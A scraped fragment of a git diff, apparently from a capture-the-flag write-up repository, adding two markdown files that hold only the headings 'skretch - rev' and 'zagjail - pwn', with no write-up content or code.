|
||||
```
|
||||
2
skretch-rev.md
Normal file
2
skretch-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# skretch - rev
|
||||
|
||||
2
zagjail-pwn.md
Normal file
2
zagjail-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# zagjail - pwn
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue